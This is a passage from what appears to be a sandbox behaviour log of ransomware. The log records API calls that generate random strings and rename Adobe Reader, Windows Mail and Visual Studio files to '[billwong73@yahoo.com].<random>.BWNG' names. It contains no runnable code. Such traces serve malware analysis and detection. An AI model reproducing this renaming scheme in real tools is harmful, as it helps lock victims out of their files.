lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0041.147] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].1hOj1e4p-ezdJ7CLR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].1hoj1e4p-ezdj7clr.bwng"), dwFlags=0x1) returned 1 [0041.149] GetTickCount () returned 0x1155429 [0041.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18310099731) returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0041.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0041.151] GetTickCount () returned 0x1155429 [0041.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18310327453) returned 1 [0041.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0041.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0041.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0041.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0041.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0041.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0041.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0041.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0041.154] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\[billwong73@yahoo.com].PTYjAor5-eXNVMUPa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\[billwong73@yahoo.com].ptyjaor5-exnvmupa.bwng"), dwFlags=0x1) returned 1 [0041.162] GetTickCount () returned 0x1155439 [0041.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18311406637) returned 1 [0041.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0041.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0041.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0041.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0041.163] GetTickCount () returned 0x1155439 [0041.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18311524129) returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.170] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].e9yvBr63-O1zukjZc.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].e9yvbr63-o1zukjzc.bwng"), dwFlags=0x1) returned 1 [0041.179] GetTickCount () returned 0x1155448 [0041.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18313106515) returned 1 [0041.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0041.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0041.182] GetTickCount () returned 0x1155448 [0041.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18313445008) returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0041.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0041.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0041.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0041.183] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].Cd64g3YQ-KH3yMG9E.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].cd64g3yq-kh3ymg9e.bwng"), dwFlags=0x1) returned 1 [0041.183] GetTickCount () returned 0x1155448 [0041.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18313565077) returned 1 [0041.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0041.184] GetTickCount () returned 0x1155448 [0041.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18313595398) returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0041.184] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\[billwong73@yahoo.com].9osfR0cR-WfDltKIX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\[billwong73@yahoo.com].9osfr0cr-wfdltkix.bwng"), dwFlags=0x1) returned 1 [0041.185] GetTickCount () returned 0x1155458 [0041.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18313717516) returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0041.185] GetTickCount () returned 0x1155458 [0041.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18313748662) returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0041.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0041.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.186] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\[billwong73@yahoo.com].JeAKvHY0-WDcA7MGj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\[billwong73@yahoo.com].jeakvhy0-wdca7mgj.bwng"), dwFlags=0x1) returned 1 [0041.203] GetTickCount () returned 0x1155467 [0041.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18315546554) returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.204] GetTickCount () returned 0x1155467 [0041.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18315577356) returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0041.204] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].QgS6f0WI-yGtDsnSg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].qgs6f0wi-ygtdsnsg.bwng"), dwFlags=0x1) returned 1 [0041.204] GetTickCount () returned 0x1155467 [0041.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18315672548) returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.205] MultiByteToWideChar (in: 